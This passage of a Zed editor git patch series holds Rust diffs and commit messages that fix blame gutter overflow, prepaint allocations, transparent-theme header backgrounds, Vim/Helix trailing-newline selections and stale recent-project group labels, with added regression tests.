| :--: | :--: |
| <img width="551" height="94" alt="Before"
src="https://github.com/user-attachments/assets/b6741a41-6531-4fae-adaa-f9ae0b298e0f"
/> |<img width="566" height="93" alt="After"
src="https://github.com/user-attachments/assets/e8d75d2a-6b07-43f6-b2a8-bfb76d118611"
/> |

Release Notes:

- Fixed Git blame entries overflowing the gutter when avatars are
displayed.
---
 crates/editor/src/editor.rs         |  7 ++-----
 crates/editor/src/git/blame.rs      |  6 +++++-
 crates/git_ui/src/blame_ui.rs       | 19 ++++++++++++++++++-
 crates/git_ui/src/commit_tooltip.rs | 17 ++++++++++-------
 4 files changed, 35 insertions(+), 14 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 276c083dd158eb..635521b46022ed 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -11598,15 +11598,12 @@ impl EditorSnapshot {
                         let renderer = cx.global::<GlobalBlameRenderer>().0.clone();
                         const MAX_RELATIVE_TIMESTAMP: &str = "2 years, 11 months ago";
 
-                        /// The number of characters to dedicate to gaps and margins.
-                        const SPACING_WIDTH: usize = 4;
-
                         let max_char_count = max_author_length.min(renderer.max_author_length())
                             + ::git::SHORT_SHA_LENGTH
-                            + MAX_RELATIVE_TIMESTAMP.len()
-                            + SPACING_WIDTH;
+                            + MAX_RELATIVE_TIMESTAMP.len();
 
                         ch_advance * max_char_count
+                            + renderer.blame_entry_non_text_width(window, cx)
                     });
 
             let is_singleton = self.buffer_snapshot().is_singleton();
diff --git a/crates/editor/src/git/blame.rs b/crates/editor/src/git/blame.rs
index 6423182d504c4c..347a1e8dafcca7 100644
--- a/crates/editor/src/git/blame.rs
+++ b/crates/editor/src/git/blame.rs
@@ -8,7 +8,7 @@ use git::{
     commit::ParsedCommitMessage,
 };
 use gpui::{
-    AnyElement, App, AppContext as _, Context, Entity, Hsla, ScrollHandle, SharedString,
+    AnyElement, App, AppContext as _, Context, Entity, Hsla, Pixels, ScrollHandle, SharedString,
     Subscription, Task, TextStyle, WeakEntity, Window,
 };
 use itertools::Itertools;
@@ -87,6 +87,10 @@ pub struct GitBlame {
 pub trait BlameRenderer {
     fn max_author_length(&self) -> usize;
 
+    fn blame_entry_non_text_width(&self, _: &Window, _: &App) -> Pixels {
+        Pixels::ZERO
+    }
+
     fn render_blame_entry(
         &self,
         _: &TextStyle,
diff --git a/crates/git_ui/src/blame_ui.rs b/crates/git_ui/src/blame_ui.rs
index ec1386e54dc12d..07097e21092b04 100644
--- a/crates/git_ui/src/blame_ui.rs
+++ b/crates/git_ui/src/blame_ui.rs
@@ -5,7 +5,7 @@ use crate::{
 use editor::{BlameRenderer, Editor, hover_markdown_style};
 use git::{blame::BlameEntry, commit::ParsedCommitMessage, repository::CommitSummary};
 use gpui::{
-    ClipboardItem, Entity, Hsla, MouseButton, ScrollHandle, Subscription, TextStyle,
+    ClipboardItem, Entity, Hsla, MouseButton, Pixels, Rems, ScrollHandle, Subscription, TextStyle,
     TextStyleRefinement, UnderlineStyle, WeakEntity, prelude::*,
 };
 use markdown::{Markdown, MarkdownElement};
@@ -20,6 +20,9 @@ use ui::{ContextMenu, CopyButton, Divider, prelude::*, tooltip_container};
 use workspace::Workspace;
 
 const GIT_BLAME_MAX_AUTHOR_CHARS_DISPLAYED: usize = 20;
+const GIT_BLAME_GUTTER_MARGIN: Rems = rems(0.5);
+const GIT_BLAME_GUTTER_GAP: Rems = rems(0.5);
+const GIT_BLAME_AVATAR_SIZE: Rems = rems(1.);
 
 pub struct GitBlameRenderer;
 
@@ -126,6 +129,19 @@ impl BlameRenderer for GitBlameRenderer {
         GIT_BLAME_MAX_AUTHOR_CHARS_DISPLAYED
     }
 
+    fn blame_entry_non_text_width(&self, window: &Window, cx: &App) -> Pixels {
+        let show_avatar = ProjectSettings::get_global(cx).git.blame.show_avatar;
+        let gap_count = if show_avatar { 3. } else { 2. };
+        let width = GIT_BLAME_GUTTER_MARGIN.to_pixels(window.rem_size())
+            + GIT_BLAME_GUTTER_GAP.to_pixels(window.rem_size()) * gap_count;
+
+        if show_avatar {
+            width + CommitAvatar::rendered_size(GIT_BLAME_AVATAR_SIZE, window)
+        } else {
+            width
+        }
+    }
+
     fn render_blame_entry(
         &self,
         style: &TextStyle,
@@ -160,6 +176,7 @@ impl BlameRenderer for GitBlameRenderer {
                     author_email,
                     details.as_ref().and_then(|it| it.remote.as_ref()),
                 )
+                .size(GIT_BLAME_AVATAR_SIZE)
                 .render(window, cx),
             )
         } else {
diff --git a/crates/git_ui/src/commit_tooltip.rs b/crates/git_ui/src/commit_tooltip.rs
index 2c0e81d0e36042..14a24f763513f4 100644
--- a/crates/git_ui/src/commit_tooltip.rs
+++ b/crates/git_ui/src/commit_tooltip.rs
@@ -5,8 +5,8 @@ use git::blame::BlameEntry;
 use git::repository::CommitSummary;
 use git::{GitRemote, commit::ParsedCommitMessage};
 use gpui::{
-    AbsoluteLength, App, Asset, Element, Entity, MouseButton, ParentElement, Render, ScrollHandle,
-    StatefulInteractiveElement, WeakEntity, prelude::*,
+    AbsoluteLength, App, Asset, Element, Entity, MouseButton, ParentElement, Pixels, Render,
+    ScrollHandle, StatefulInteractiveElement, WeakEntity, prelude::*,
 };
 use markdown::{Markdown, MarkdownElement};
 use project::git_store::Repository;
@@ -71,6 +71,8 @@ pub(crate) fn commit_tag_chips(tag_names: &[SharedString]) -> Option<impl IntoEl
     )
 }
 
+const COMMIT_AVATAR_BORDER_WIDTH: Pixels = px(1.);
+
 pub struct CommitAvatar<'a> {
     sha: &'a SharedString,
     author_email: Option<SharedString>,
@@ -109,21 +111,22 @@ impl<'a> CommitAvatar<'a> {
         self
     }
 
+    pub fn rendered_size(size: impl Into<AbsoluteLength>, window: &Window) -> Pixels {
+        size.into().to_pixels(window.rem_size()) + COMMIT_AVATAR_BORDER_WIDTH * 2.
+    }
+
     pub fn render(&'a self, window: &mut Window, cx: &mut App) -> AnyElement {
         let border_color = cx.theme().colors().border_variant;
-        let border_width = px(1.);
 
         match self.avatar(window, cx) {
             None => {
-                let container_size = self
-                    .size
-                    .map(|s| s.to_pixels(window.rem_size()) + border_width * 2.);
+                let container_size = self.size.map(|size| Self::rendered_size(size, window));
 
                 h_flex()
                     .when_some(container_size, |this, size| this.size(size))
                     .justify_center()
                     .rounded_full()
-                    .border(border_width)
+                    .border(COMMIT_AVATAR_BORDER_WIDTH)
                     .border_color(border_color)
                     .bg(cx.theme().colors().element_disabled)
                     .child(

From 04c247d1caddf7ded09e8a99e77267426e7d4598 Mon Sep 17 00:00:00 2001
From: tidely <43219534+tidely@users.noreply.github.com>
Date: Mon, 20 Jul 2026 05:52:15 +0300
Subject: [PATCH 544/772] editor: Reduce allocations during editor prepaint
 (#61290)

Found some unnecessary allocations and an `.unwrap()` while working on a
separate issue. The PR makes no behavior changes and should be trivial
to review.

## Testing

All tests pass. These changes are not expected to change any behavior.

None of the changes are interleaving, so it should be easy to review
top-down. Reasoning for each change can be read from individual commit
messages.

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/editor/src/element.rs | 88 +++++++++++++++++-------------------
 1 file changed, 42 insertions(+), 46 deletions(-)

diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 6def466e8447b6..ab7659f022b2ab 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -2563,13 +2563,10 @@ impl EditorElement {
             return None;
         }
 
-        let buffer_id = row_info.and_then(|info| info.buffer_id);
-        if buffer_id.is_none() {
-            return None;
-        }
+        let buffer_id = row_info.and_then(|info| info.buffer_id)?;
 
         let editor = self.editor.read(cx);
-        if buffer_id.is_some_and(|buffer_id| editor.is_buffer_folded(buffer_id, cx)) {
+        if editor.is_buffer_folded(buffer_id, cx) {
             return None;
         }
 
@@ -3087,7 +3084,7 @@ impl EditorElement {
                         ..Default::default()
                     };
                     let line = window.text_system().shape_line(
-                        line.to_string().into(),
+                        SharedString::new(line),
                         font_size,
                         &[run],
                         None,
@@ -3190,13 +3187,13 @@ impl EditorElement {
                 }
                 let align_to = block_start.to_display_point(snapshot);
                 let x_and_width = |layout: &LineWithInvisibles| {
-                    Some((
+                    (
                         text_x + layout.x_for_index(align_to.column() as usize),
                         text_x + layout.width,
-                    ))
+                    )
                 };
                 let line_ix = align_to.row().0.checked_sub(rows.start.0);
-                x_position =
+                let custom_block_x_position =
                     if let Some(layout) = line_ix.and_then(|ix| line_layouts.get(ix as usize)) {
                         x_and_width(layout)
                     } else {
@@ -3211,7 +3208,8 @@ impl EditorElement {
                         ))
                     };
 
-                let anchor_x = x_position.unwrap().0;
+                let anchor_x = custom_block_x_position.0;
+                x_position = Some(custom_block_x_position);
 
                 let selected = selections
                     .binary_search_by(|selection| {
@@ -3907,7 +3905,7 @@ impl EditorElement {
                 } else {
                     None
                 };
-                vec![edit_prediction, context_menu]
+                [edit_prediction, context_menu]
                     .into_iter()
                     .flatten()
                     .collect::<Vec<_>>()
@@ -4367,25 +4365,29 @@ impl EditorElement {
         let hovered_point = content_origin + point(x, y);
 
         let mut overall_height = Pixels::ZERO;
-        let mut measured_hover_popovers = Vec::new();
-        for (position, mut hover_popover) in hover_popovers.into_iter().with_position() {
-            let size = hover_popover.layout_as_root(AvailableSpace::min_size(), window, cx);
-            let horizontal_offset =
-                (hitbox.top_right().x - POPOVER_RIGHT_OFFSET - (hovered_point.x + size.width))
-                    .min(Pixels::ZERO);
-            match position {
-                itertools::Position::Middle | itertools::Position::Last => {
-                    overall_height += HOVER_POPOVER_GAP
+
+        let measured_hover_popovers = hover_popovers
+            .into_iter()
+            .with_position()
+            .map(|(position, mut hover_popover)| {
+                let size = hover_popover.layout_as_root(AvailableSpace::min_size(), window, cx);
+                let horizontal_offset =
+                    (hitbox.top_right().x - POPOVER_RIGHT_OFFSET - (hovered_point.x + size.width))
+                        .min(Pixels::ZERO);
+                match position {
+                    itertools::Position::Middle | itertools::Position::Last => {
+                        overall_height += HOVER_POPOVER_GAP
+                    }
+                    _ => {}
                 }
-                _ => {}
-            }
-            overall_height += size.height;
-            measured_hover_popovers.push(MeasuredHoverPopover {
-                element: hover_popover,
-                size,
-                horizontal_offset,
-            });
-        }
+                overall_height += size.height;
+                MeasuredHoverPopover {
+                    element: hover_popover,
+                    size,
+                    horizontal_offset,
+                }
+            })
+            .collect::<Vec<_>>();
 
         fn draw_occluder(
             width: Pixels,
@@ -4455,34 +4457,28 @@ impl EditorElement {
         };
 
         let can_place_above = {
-            let mut bounds_above = Vec::new();
             let mut current_y = hovered_point.y;
-            for popover in &measured_hover_popovers {
+            measured_hover_popovers.iter().all(|popover| {
                 let size = popover.size;
                 let popover_origin = point(
                     hovered_point.x + popover.horizontal_offset,
                     current_y - size.height,
                 );
-                bounds_above.push(Bounds::new(popover_origin, size));
+                let bounds = Bounds::new(popover_origin, size);
                 current_y = popover_origin.y - HOVER_POPOVER_GAP;
-            }
-            bounds_above
-                .iter()
-                .all(|b| b.is_contained_within(hitbox) && !intersects_menu(*b))
+                bounds.is_contained_within(hitbox) && !intersects_menu(bounds)
+            })
         };
 
         let can_place_below = || {
-            let mut bounds_below = Vec::new();
             let mut current_y = hovered_point.y + line_height;
-            for popover in &measured_hover_popovers {
+            measured_hover_popovers.iter().all(|popover| {
                 let size = popover.size;
                 let popover_origin = point(hovered_point.x + popover.horizontal_offset, current_y);
-                bounds_below.push(Bounds::new(popover_origin, size));
+                let bounds = Bounds::new(popover_origin, size);
                 current_y = popover_origin.y + size.height + HOVER_POPOVER_GAP;
-            }
-            bounds_below
-                .iter()
-                .all(|b| b.is_contained_within(hitbox) && !intersects_menu(*b))
+                bounds.is_contained_within(hitbox) && !intersects_menu(bounds)
+            })
         };
 
         if can_place_above {
@@ -4510,7 +4506,7 @@ impl EditorElement {
                 } else {
                     menu.bounds.top()
                 };
-                let possible_origins = vec![
+                let possible_origins = [
                     // left of context menu
                     point(
                         menu.bounds.left() - total_width - HOVER_POPOVER_GAP,
@@ -4850,7 +4846,7 @@ impl EditorElement {
                 } else {
                     menu.bounds.top()
                 };
-                let possible_origins = vec![
+                let possible_origins = [
                     // left of context menu
                     point(
                         menu.bounds.left() - actual_size.width - HOVER_POPOVER_GAP,
@@ -6623,7 +6619,7 @@ impl EditorElement {
                             is_newest: false,
                             is_local: false,
                             active_rows: start.row()..end.row(),
-                            user_name: Some(SharedString::new(debug_range.value.clone())),
+                            user_name: Some(SharedString::from(debug_range.value.clone())),
                         };
                         Some((player_color, vec![selection_layout]))
                     })

From 8e807731b77b6ba52c7442a4818a147e6b19d1f6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=80=E1=B4=8D=E1=B4=9B=E1=B4=8F=E1=B4=80=E1=B4=87?=
 =?UTF-8?q?=CA=80?= <amtoaer@gmail.com>
Date: Mon, 20 Jul 2026 11:07:34 +0800
Subject: [PATCH 545/772] editor: Fix opaque multibuffer header backgrounds not
 rendering in transparent themes (#61268)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

As part of the transparent-window artifact fixes in #58981, multibuffer
header backgrounds stopped rendering whenever the window was transparent
or blurred.

This caused a regression for transparent themes, which commonly use an
opaque multibuffer header background to prevent editor text from showing
through sticky headers.


## Solution

Render `editor_subheader_background` when either the window or the
configured background color is opaque.

This restores opaque multibuffer header backgrounds as a mask for the
editor content beneath them, while preserving the #58981 behavior for
translucent backgrounds that would otherwise create a darker layered
region.

## Testing

Manually verified locally with a transparent theme that an opaque
multibuffer header background is rendered and prevents editor text from
showing through sticky headers.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

**Nightfox - opaque / blurred**

Before:

<img width="2566" height="1771" alt="图片"
src="https://github.com/user-attachments/assets/55b333bc-b029-4079-9bbc-86462a3f41a7"
/>


After:

<img width="2444" height="1687" alt="图片"
src="https://github.com/user-attachments/assets/217e1ee7-717c-4961-8db0-5eac8104e5bb"
/>

---

Release Notes:

- Fixed editor text showing through multibuffer headers and overlapping
header text in transparent themes.
---
 crates/editor/src/element/header.rs | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/crates/editor/src/element/header.rs b/crates/editor/src/element/header.rs
index 880139039d6d08..7717e5784dc370 100644
--- a/crates/editor/src/element/header.rs
+++ b/crates/editor/src/element/header.rs
@@ -685,11 +685,12 @@ pub(crate) fn render_buffer_header(
     };
     let focus_handle = editor_read.focus_handle(cx);
     let colors = cx.theme().colors();
-    // On transparent windows `editor_subheader_background` stacks over the
-    // editor background into a darker bar (and the sticky shadow becomes a halo),
-    // so skip both unless the window is opaque.
+    // On transparent windows, only render an opaque `editor_subheader_background` so it masks
+    // the editor content beneath it without creating a darker bar. Sticky shadows still require
+    // an opaque window to avoid rendering as a halo.
     let opaque_window =
         cx.theme().window_background_appearance() == WindowBackgroundAppearance::Opaque;
+    let show_header_background = opaque_window || colors.editor_subheader_background.is_opaque();
 
     let show_open_file_button =
         can_open_excerpts && relative_path.is_some() && (is_selected || header_hovered);
@@ -727,7 +728,9 @@ pub(crate) fn render_buffer_header(
                     border.border_color(border_color)
                 })
                 .when(is_sticky && opaque_window, |s| s.shadow_md())
-                .when(opaque_window, |s| s.bg(colors.editor_subheader_background))
+                .when(show_header_background, |s| {
+                    s.bg(colors.editor_subheader_background)
+                })
                 .hover(|s| s.bg(colors.element_hover))
                 .map(|header| {
                     let editor = editor.clone();

From d735d22c258a9d3573eeda317660c5537e6884c4 Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Mon, 20 Jul 2026 11:19:55 +0800
Subject: [PATCH 546/772] vim: Fix selection motions when trailing newline is
 selected (#61253)

# Objective

Closes #41743

When selecting text on the last line, excluding the trailing newline,
Vim and Helix modes behave differently from native Vim and Helix when
the file has a trailing newline:
1. We cannot use `l` (move right) to include the final `\n` in the
selection, while native Vim and Helix allow this.
2. By default, the rendered cursor should appear on the selected
character. When that character is the final `\n`, however, Zed renders
the cursor on the synthetic empty line after it rather than at the end
of the preceding line. This differs from native Vim and Helix, as well
as from Zed's behavior for newlines elsewhere in the file.
3. When the final `\n` is selected, it affects subsequent selection
motions, as reported in #41743.

The cause is several special-case guards for trailing newlines in Visual
and Select modes. These guards exist in the cursor rendering logic:

https://github.com/zed-industries/zed/blob/c9e8e611dbc279afa0914d28c4d37ad07f38c03b/crates/editor/src/element.rs#L201-L213

They also exist in the Visual motion logic for Vim mode and the Select
motion logic for Helix mode (the Helix implementation was adopted
directly from Vim in #43234):

https://github.com/zed-industries/zed/blob/c9e8e611dbc279afa0914d28c4d37ad07f38c03b/crates/vim/src/visual.rs#L254-L259

Finally, they exist in the selection extension logic for Vim and Helix
(the Helix logic was also adopted from Vim):

https://github.com/zed-industries/zed/blob/c9e8e611dbc279afa0914d28c4d37ad07f38c03b/crates/vim/src/visual.rs#L273-L284

These guards cause trailing-newline selections to behave inconsistently
with selections containing newlines elsewhere in the file.

## Solution

Remove all the guards mentioned above, including those in cursor
rendering, Visual and Select motions, and selection extension. And due
to the cursor rendering logic is also changed, an exsisting test is
updated.

After removing these guards, I could not reproduce the unexpected
behavior described in the existing comments:

https://github.com/zed-industries/zed/blob/c9e8e611dbc279afa0914d28c4d37ad07f38c03b/crates/vim/src/visual.rs#L247-L253

The only remaining difference is that, when the cursor is on the last
line in Visual mode, pressing `j` moves it to the final `\n` rather than
to the synthetic empty line after it. In comparison, native Vim and
Helix do nothing in this case.

## Testing

- Built and tested locally.
- Added new GPUI tests.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


Release Notes:

- Improved Vim Visual and Helix Select modes when selections include a
trailing newline.
---
 crates/editor/src/element.rs |  8 ++++----
 crates/vim/src/helix.rs      | 37 +++++++++++++++++++++++++-----------
 crates/vim/src/visual.rs     | 24 ++++++++++++-----------
 3 files changed, 43 insertions(+), 26 deletions(-)

diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index ab7659f022b2ab..f7be01d96f54cc 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -202,7 +202,7 @@ impl SelectionLayout {
         if cursor_offset && !range.is_empty() && !selection.reversed {
             if head.column() > 0 {
                 head = map.clip_point(DisplayPoint::new(head.row(), head.column() - 1), Bias::Left);
-            } else if head.row().0 > 0 && head != map.max_point() {
+            } else if head.row().0 > 0 {
                 head = map.clip_point(
                     DisplayPoint::new(
                         head.row().previous_row(),
@@ -11524,20 +11524,20 @@ mod tests {
             DisplayPoint::new(DisplayRow(3), 2)
         );
 
-        // leaves cursor on the max point
+        // displays the trailing newline cursor on the preceding row
         assert_eq!(
             local_selections[2].range,
             DisplayPoint::new(DisplayRow(5), 6)..DisplayPoint::new(DisplayRow(6), 0)
         );
         assert_eq!(
             local_selections[2].head,
-            DisplayPoint::new(DisplayRow(6), 0)
+            DisplayPoint::new(DisplayRow(5), 6)
         );
 
         // active lines does not include 1 (even though the range of the selection does)
         assert_eq!(
             state.active_rows.keys().cloned().collect::<Vec<_>>(),
-            vec![DisplayRow(0), DisplayRow(3), DisplayRow(5), DisplayRow(6)]
+            vec![DisplayRow(0), DisplayRow(3), DisplayRow(5)]
         );
     }
 
diff --git a/crates/vim/src/helix.rs b/crates/vim/src/helix.rs
index 2ab20aef36e4a7..e2857ce30e4819 100644
--- a/crates/vim/src/helix.rs
+++ b/crates/vim/src/helix.rs
@@ -169,14 +169,7 @@ impl Vim {
                     // our motions assume the current character is after the cursor,
                     // but in (forward) visual mode the current character is just
                     // before the end of the selection.
-
-                    // If the file ends with a newline (which is common) we don't do this.
-                    // so that if you go to the end of such a file you can use "up" to go
-                    // to the previous line and have it work somewhat as expected.
-                    if !selection.reversed
-                        && !selection.is_empty()
-                        && !(selection.end.column() == 0 && selection.end == map.max_point())
-                    {
+                    if !selection.reversed && !selection.is_empty() {
                         current_head = movement::left(map, selection.end)
                     }
 
@@ -241,9 +234,7 @@ impl Vim {
                     if !selection.reversed {
                         let next_point = movement::right(map, selection.end);
 
-                        if !(next_point.column() == 0 && next_point == map.max_point()) {
-                            selection.end = next_point;
-                        }
+                        selection.end = next_point;
                     }
 
                     // vim always ensures the anchor character stays selected.
@@ -2669,6 +2660,30 @@ mod test {
         cx.assert_state("abˇcd", Mode::Insert);
     }
 
+    #[gpui::test]
+    async fn test_helix_select_move_to_trailing_newline(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.enable_helix();
+
+        cx.set_state("line one\nline two\nline threˇe\n", Mode::HelixNormal);
+        cx.simulate_keystrokes("v");
+        cx.assert_state("line one\nline two\nline thre«eˇ»\n", Mode::HelixSelect);
+        cx.simulate_keystrokes("l");
+        cx.assert_state("line one\nline two\nline thre«e\nˇ»", Mode::HelixSelect);
+    }
+
+    #[gpui::test]
+    async fn test_helix_select_trailing_newline(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.enable_helix();
+
+        cx.set_state("line one\nline two\nline threeˇ\n", Mode::HelixNormal);
+        cx.simulate_keystrokes("v");
+        cx.assert_state("line one\nline two\nline three«\nˇ»", Mode::HelixSelect);
+        cx.simulate_keystrokes("g h");
+        cx.assert_state("line one\nline two\n«ˇline three\n»", Mode::HelixSelect);
+    }
+
     #[gpui::test]
     async fn test_goto_last_modification(cx: &mut gpui::TestAppContext) {
         let mut cx = VimTestContext::new(cx, true).await;
diff --git a/crates/vim/src/visual.rs b/crates/vim/src/visual.rs
index e9c3f22c23cd50..8074d9bd6b32fc 100644
--- a/crates/vim/src/visual.rs
+++ b/crates/vim/src/visual.rs
@@ -247,14 +247,7 @@ impl Vim {
                         // our motions assume the current character is after the cursor,
                         // but in (forward) visual mode the current character is just
                         // before the end of the selection.
-
-                        // If the file ends with a newline (which is common) we don't do this.
-                        // so that if you go to the end of such a file you can use "up" to go
-                        // to the previous line and have it work somewhat as expected.
-                        if !selection.reversed
-                            && !selection.is_empty()
-                            && !(selection.end.column() == 0 && selection.end == map.max_point())
-                        {
+                        if !selection.reversed && !selection.is_empty() {
                             current_head = movement::left(map, selection.end)
                         }
 
@@ -278,9 +271,7 @@ impl Vim {
                                 movement::right(map, selection.end)
                             };
 
-                            if !(next_point.column() == 0 && next_point == map.max_point()) {
-                                selection.end = next_point;
-                            }
+                            selection.end = next_point;
                         }
 
                         // vim always ensures the anchor character stays selected.
@@ -1748,6 +1739,17 @@ mod test {
         // });
     }
 
+    #[gpui::test]
+    async fn test_visual_move_trailing_newline(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+
+        cx.set_state("This is a newlinˇe\n", Mode::Normal);
+        cx.simulate_keystrokes("v");
+        cx.assert_state("This is a newlin«eˇ»\n", Mode::Visual);
+        cx.simulate_keystrokes("l");
+        cx.assert_state("This is a newlin«e\nˇ»", Mode::Visual);
+    }
+
     #[gpui::test]
     async fn test_mode_across_command(cx: &mut gpui::TestAppContext) {
         let mut cx = VimTestContext::new(cx, true).await;

From 3c5e6198f7825ab3891e9b26a629077b996dd165 Mon Sep 17 00:00:00 2001
From: Remco Smits <djsmits12@gmail.com>
Date: Mon, 20 Jul 2026 05:30:22 +0200
Subject: [PATCH 547/772] recent_projects: Fix stale information when removing
 project from a group (#61062)

# Objective

Before this PR we would show inside the recent project picker the
projects per group (window) which is great, but when you were trying to
remove a project from the group it would show you a label that includes
the just removed project and also when you clicked on it, it would bring
you back to the 2 project's in the same window in this case.

## Solution

My solution is when we actually remove the project from a group, we also
update the group key that includes the newly updated path list, that
should no longer have the removed project path in it. I also refactored
it a bit so we have one method that does the project removing part so we
don't have to duplicate this logic.

## Testing

You can produce this when you do the following:
1. Open Zed
2. Add 2 projects to your window using the project panel
3. Open the recent project picker
4. See that the `This window` header shows 2 projects
5. Remove one of the projects
6. See that below the `This window` header we would show you a entry
that shows you `projectA, projectB` where **projectb** should be removed
from the group.

I also added a regression test that covers this issue, so we can make
sure the change actually works and does not regress of couse :).

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

**Before** (**Note** before this change we showed the group project
names comma seperated)


https://github.com/user-attachments/assets/750358f4-f347-4f91-86b7-6500b2e09af9

**After** (**Note** after we now updated the groups key so it does not
include the removed project)


https://github.com/user-attachments/assets/f15acea8-d936-4aab-b5c2-324ee49f74a2

---

Release Notes:

- Recent projects: Fixed that it shows you a removed project from a
group
---
 crates/recent_projects/src/recent_projects.rs | 187 +++++++++++++++---
 1 file changed, 160 insertions(+), 27 deletions(-)

diff --git a/crates/recent_projects/src/recent_projects.rs b/crates/recent_projects/src/recent_projects.rs
index 02a05f89293727..8b82c2dd604a6e 100644
--- a/crates/recent_projects/src/recent_projects.rs
+++ b/crates/recent_projects/src/recent_projects.rs
@@ -771,20 +771,13 @@ impl RecentProjects {
 
             match picker.delegate.filtered_entries.get(ix) {
                 Some(ProjectPickerEntry::OpenFolder { index, .. }) => {
-                    if let Some(folder) = picker.delegate.open_folders.get(*index) {
-                        let worktree_id = folder.worktree_id;
-                        let Some(workspace) = picker.delegate.workspace.upgrade() else {
-                            return;
-                        };
-                        workspace.update(cx, |workspace, cx| {
-                            let project = workspace.project().clone();
-                            project.update(cx, |project, cx| {
-                                project.remove_worktree(worktree_id, cx);
-                            });
-                        });
-                        picker.delegate.open_folders = get_open_folders(workspace.read(cx), cx);
-                        let query = picker.query(cx);
-                        picker.update_matches(query, window, cx);
+                    if let Some(worktree_id) = picker
+                        .delegate
+                        .open_folders
+                        .get(*index)
+                        .map(|f| f.worktree_id)
+                    {
+                        RecentProjectsDelegate::remove_open_folder(picker, worktree_id, window, cx);
                     }
                 }
                 Some(ProjectPickerEntry::ProjectGroup(hit)) => {
@@ -1271,19 +1264,12 @@ impl PickerDelegate for RecentProjectsDelegate {
                                 }
                             })
                             .on_click(cx.listener(move |picker, _, window, cx| {
-                                let Some(workspace) = picker.delegate.workspace.upgrade() else {
-                                    return;
-                                };
-                                workspace.update(cx, |workspace, cx| {
-                                    let project = workspace.project().clone();
-                                    project.update(cx, |project, cx| {
-                                        project.remove_worktree(worktree_id, cx);
-                                    });
-                                });
-                                picker.delegate.open_folders =
-                                    get_open_folders(workspace.read(cx), cx);
-                                let query = picker.query(cx);
-                                picker.update_matches(query, window, cx);
+                                RecentProjectsDelegate::remove_open_folder(
+                                    picker,
+                                    worktree_id,
+                                    window,
+                                    cx,
+                                );
                             })),
                     )
                     .into_any_element();
@@ -2383,6 +2369,39 @@ impl RecentProjectsDelegate {
         }
     }
 
+    fn remove_open_folder(
+        picker: &mut Picker<Self>,
+        worktree_id: WorktreeId,
+        window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) {
+        let Some(workspace) = picker.delegate.workspace.upgrade() else {
+            return;
+        };
+
+        let old_key = workspace.read(cx).project_group_key(cx);
+        workspace.update(cx, |workspace, cx| {
+            let project = workspace.project().clone();
+            project.update(cx, |project, cx| {
+                project.remove_worktree(worktree_id, cx);
+            });
+        });
+
+        let new_key = workspace.read(cx).project_group_key(cx);
+        if let Some(entry) = picker
+            .delegate
+            .window_project_groups
+            .iter_mut()
+            .find(|key| **key == old_key)
+        {
+            *entry = new_key;
+        }
+
+        picker.delegate.open_folders = get_open_folders(workspace.read(cx), cx);
+        let query = picker.query(cx);
+        picker.update_matches(query, window, cx);
+    }
+
     fn remove_project_group(
         &mut self,
         key: ProjectGroupKey,
@@ -3185,4 +3204,118 @@ mod tests {
             "remote project group confirm should not create a local workspace"
         );
     }
+
+    #[gpui::test]
+    async fn test_remove_open_folder_rekeys_this_window_group(cx: &mut TestAppContext) {
+        // Regression test: removing a folder from the active project while the
+        // picker is open must update the "This Window" group so it no longer
+        // lists the removed folder.
+        let app_state = init_test(cx);
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(path!("/a"), json!({ "1.txt": "" }))
+            .await;
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(path!("/b"), json!({ "2.txt": "" }))
+            .await;
+
+        cx.update(|cx| {
+            open_paths(
+                &[PathBuf::from(path!("/a")), PathBuf::from(path!("/b"))],
+                app_state,
+                workspace::OpenOptions::default(),
+                cx,
+            )
+        })
+        .await
+        .unwrap();
+        cx.run_until_parked();
+
+        let mw = cx.update(|cx| cx.windows()[0].downcast::<MultiWorkspace>().unwrap());
+        let (workspace, active_key, fh) = mw
+            .read_with(cx, |mw, cx| {
+                let ws = mw.workspace().clone();
+                (
+                    ws.clone(),
+                    ws.read(cx).project_group_key(cx),
+                    ws.read(cx).focus_handle(cx),
+                )
+            })
+            .unwrap();
+
+        assert_eq!(
+            active_key.path_list().paths().len(),
+            2,
